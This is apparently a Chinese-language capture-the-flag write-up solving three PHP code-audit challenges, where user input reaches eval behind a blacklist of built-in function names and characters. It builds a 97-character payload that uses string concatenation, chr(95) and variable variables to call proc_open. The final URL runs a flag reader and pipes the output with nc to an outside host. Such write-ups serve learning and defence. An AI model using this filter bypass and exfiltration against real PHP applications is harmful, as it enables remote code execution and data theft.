这篇writeup是关于这次比赛 PHP+1
, PHP+1.5
和PHP+2.5
这三道代码审计题目的。我们可以用同一个payload来解决这三道题目。这三道题的考点是全部相同的: Bypass the WAF and get a shell
首先看第一道题(PHP+1),打开题目链接就能直接获取到题目代码
<?php // PHP+1 $input = $_GET['input']; function check() { global $input; foreach (get_defined_functions()['internal'] as $blacklisted) { if (preg_match('/' . $blacklisted . '/im', $input)) { echo "Your input is blacklisted" . "<br>"; return true; break; } } $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'"; unset($blacklist); return false; } $thisfille = $_GET['thisfile']; if (is_file($thisfille)) { echo "You can't use inner file" . "<br>"; } else { if (file_exists($thisfille)) { if (check()) { echo "Naaah" . "<br>"; } else { eval($input); } } else { echo "File doesn't exist" . "<br>"; } } function iterate($ass) { foreach ($ass as $hole) { echo "AssHole"; } } highlight_file(__FILE__); ?>
上面的代码简单来说就是,我们需要传入两个参数:input
和thisfile
。
对于参数thisfile
我们可以给它传入一个目录路径来绕过is_file
,file_existes
这两个函数的检测。
绕过这两个函数的检测之后,接下来我们要想办法绕过check
函数,这个函数将获取所有PHP的系统内置函数,并检查我们的输入是否含有这些系统内置函数。如果检测到输入了系统内置函数,那么就会被check。
下一道题(PHP+1.5),同样直接打开题目链接就能获取到题目源码,源码如下
<?php // php+1.5 $input = $_GET['input']; function check() { global $input; foreach (get_defined_functions()['internal'] as $blacklisted) { if (preg_match('/' . $blacklisted . '/im', $input)) { echo "Your input is blacklisted" . "<br>"; return true; break; } } $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'"; if (preg_match("/$blacklist/i", $input)) { echo "Do you really you need that?" . "<br>"; return true; } unset($blacklist); return false; } $thisfille = $_GET['thisfile']; if (is_file($thisfille)) { echo "You can't use inner file" . "<br>"; } else { if (file_exists($thisfille)) { if (check()) { echo "Naaah" . "<br>"; } else { eval($input); } } else { echo "File doesn't exist" . "<br>"; } } function iterate($ass) { foreach ($ass as $hole) { echo "AssHole"; } } highlight_file(__FILE__); ?>
这道题和之前那道题的不同点在于,我们的输入会再被参数blacklist
过滤一遍。所以在上一道题甚至可以用eval
去执行一些代码。因为eval
并不是一个函数,详情见PHP手册英文版(中文版翻译有误差)。PHP手册中写到eval
是一个language construct
。进一步查询可以知道,在PHP中有很多words
都是language construct
最后再来观察第三道题(PHP+2.5),源码如下
<?php //PHP+2.5 $input = $_GET['input']; function check() { global $input; foreach (get_defined_functions()['internal'] as $blacklisted) { if (preg_match('/' . $blacklisted . '/im', $input)) { echo "Your input is blacklisted" . "<br>"; return true; break; } } $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'"; if (preg_match("/$blacklist/i", $input)) { echo "Do you really you need that?" . "<br>"; return true; } unset($blacklist); if (strlen($input) > 100) { #That is random no. I took ;) echo "This is getting really large input..." . "<br>"; return true; } return false; } $thisfille = $_GET['thisfile']; if (is_file($thisfille)) { echo "You can't use inner file" . "<br>"; } else { if (file_exists($thisfille)) { if (check()) { echo "Naaah" . "<br>"; } else { eval($input); } } else { echo "File doesn't exist" . "<br>"; } } function iterate($ass) { foreach ($ass as $hole) { echo "AssHole"; } } highlight_file(__FILE__); ?>
PHP+2.5与上面两道相比,它的限制条件更加苛刻,要求参数input的长度小于100字符
第一步是想办法执行phpinfo()
,然后在phpinfo中查找disable_functions
。想办法找到可以利用的函数去getshell。仔细查找之后,发现.
与$
不在$blacklist
里面。这两个字符将会有助于我们绕过preg_match
的过滤。
我们可以利用PHP字符串拼接的方式去构造出phpinfo,payload如下
$a=p.h.p.i.n.f.o;$a();
虽然这种拼接方式,php可能会报一些警告,但是并不会报错。是能够正常执行的。
我们利用拼接好的payload去尝试读取phpinfo。成功读到phpinfo。disable_functions
如下
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir
仔细观察,发现proc_open
函数并没有被ban掉。这也是一穿三的关键所在。查看proc_open
的函数手册,我们发现这个函数需要传入三个参数:我们想要执行的命令和两个数组。第一个数组是一个文件描述符的数组。就像下面一样
array(
array('pipe' => 'r'),
array('pipe' => 'w'),
array('pipe' => 'w')
);
而在利用它来直接构造payload的时候发现,如果直接将其加入payload,会造成payload超出限制长度的问题。这时候可以巧妙的利用$_GET请求来发送数组。本地测试如下
payload = " arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w "
为了调用proc_open
,我们可以再次使用PHP字符串拼接的方式。但是这时候遇到一个问题,我们发现下划线居然被过滤了,简直丧心病狂。最后可以拼接出一个chr
函数。利用ascii编码来绕过下划线过滤
$b=ch.r;$u=$b(95);
然后将构造好的下划线拼到proc_open
中
$e=pr.oc.$u.op.en;
接下来我们需要想办法构造一个GET传参,以获取传入的描述数组。可以利用PHP的可变变量去构造,先构造一个_GET
,然后再$$_GET
,即可。
$k=$u.G.E.T;$g=$$k;
现在,一切都准备好了。再来回顾一下,proc_open
需要三个参数(要执行的命令, 一个索引数组, 命令的初始工作目录)
我们可以使用current
和next
这两个函数去构造payload。但是这时需要注意的一个问题是。URL上的第一个变量一定要是我们要执行的命令,第二个变量是描述数组
我们可以利用以上条件,将payload构造成大概长这个样子
http://challenge-address/?p=command&arr[][]=descriptor-array&input=payload&thisfile=/var/
但是有个问题,我们不知道应该怎么去查询flag文件的位置。这时可以使用glob
函数去寻找文件
eval('echo im'.'plode("a",gl'.'ob("*"));');&thisfile=/var/
// 这里有个取巧的地方是,我们只在第一道题查询了flag文件的位置(只有第一道题能够使用eval)。然后在后面两道题目中我们猜测flag的位置是固定不变的。事实证明,果然如此。
我们准备读取/flag
文件,但是发现权限不够。这时候发现同目录下面还有一个/readFlag
的可执行文件。利用这个可执行文件,顺利拿到flag。
关键部分payload构造如下
$b=ch.r;
$u=$b(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pr.oc.$u.op.en;
$e($c($g),$n($g),$j);
// proc_open(current($$_GET),next($$_GET),$j);
完整payload如下(input最终长度为97个字符)
http://xxx.xxx.xx/?p=/readFlag /flag | nc your-ip port&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$b=ch.r;$u=$b(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pr.oc.$u.op.en;$e($c($g),$n($g),$j);$thisfile=/var/